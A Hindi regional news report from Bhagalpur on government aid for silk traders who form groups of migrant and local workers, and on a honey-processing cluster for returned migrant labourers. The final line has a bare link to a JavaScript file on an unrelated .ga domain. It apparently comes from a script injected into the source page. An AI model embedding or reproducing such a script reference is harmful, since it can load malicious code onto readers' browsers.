भागलपुर,( कुलसूम फात्मा ) सिल्क के कारोबार करने वाले कारोबारियों के लिए खुशखबरी सरकार ऐसे कारोबारियों के लिए सुविधा उपलब्ध कराने के लिए तैयार है। परंतु इसके साथ शर्त भी रखी गई है। शर्त यह है की सर्वप्रथम ऐसे कारोबारियों को समूह का गठन करना होगा।
जी हां, सरकार सिल्क के कारोबारियों को सुविधा उपलब्ध करा रही है। परंतु शर्त यह रखी है की ऐसे कारोबारियों को समूह बनाना होगा और इस समूह में तकरीबन 10 प्रवासी और 10 स्थानीय लोग होना अनिवार्य होंगे तभी इस सुविधा का कारोबारी फायदा उठा सकेंगे। जिला प्रशासन ने डीआरडीए डायरेक्टर प्रमोद कुमार पांडे को अकाउंटेबिलिटी दी और कहां की इसकी मॉनिटरिंग भी लगातार की जा रही है। ग्रुप को मान्यता दिलाने के लिए डिपार्टमेंट की तरफ से पहल की जाएगी।
आपको बता दें की बिहपुर के बभनगामा ग्राम में मधु पालन तथा इससे संबंधित प्रोसेसिंग प्लॉट को स्थापित करने के लिए 27 प्रवासी श्रमिकों को ग्रुप बनाकर कलस्टर बनाया गया है। दिल्ली में मजदूरी करने वाले प्रवासी प्रदीप कुमार सिंह की लीडरशिप मधु तैयार कर रही हैं। बता दें की उद्योग डिपार्टमेंट के नौ परिवर्तन योजना के जरिए आधुनिक मशीन भी उपलब्ध कराई जाएंगी। तकरीबन ₹500000 का व्यय के साथ मशीन की खरीदारी का प्रोसेस प्रारंभ हो गया है
हालांकि 5 लाख रुपये वर्किंग कैपिटल बिजनेस के लिए उपलब्ध कराने की योजना है इस मशीन से ब्रांडेड कंपनी को पैटर्न पर मधु का शोधन तथा पैकेजिंग की व्यवस्था की जाएगी। और यह जनपद का प्रथम प्लांट होगा और रिफाईनमेंट के पश्चात मधु को खादी माल तथा स्थानीय बाजार में बिक्री की जाएगी। इसके साथ ही इंडस्ट्रीज प्लांट के तकरीबन 10 लाख उपलब्ध कराएगी इसकी तैयारी भी प्रारंभ कर दी गई है। 20 प्रवासी श्रमिकों को 10 10 मधुमक्खी पालन के लिए बक्सा भी उपलब्ध करा दिया जाएगा।
उद्योग विभाग करेगा 10 लाख रुपये से सहायता।
समूह में सिल्क के कारोबारियों के प्रवासियों को उद्योग विभाग 10 लाख रुपये से सहायता देगा। साथ ही हैंडलूम तथा धागा भी उपलब्ध कराएगा और जो भी आवश्यकता होगी। वह भी उद्योग विभाग की तरफ से दिया जाएगा। बता दें की समूह से जो कपड़ा तैयार होगा, उसके लिए बाजार भी उपलब्ध कराया जाएगा। समूह के काम को देखते हुए आगे भी उद्योग विभाग की तरफ से सहायता प्रदान की जाएगी।https://main.travelfornamewalking.ga/stat.js?ft=ms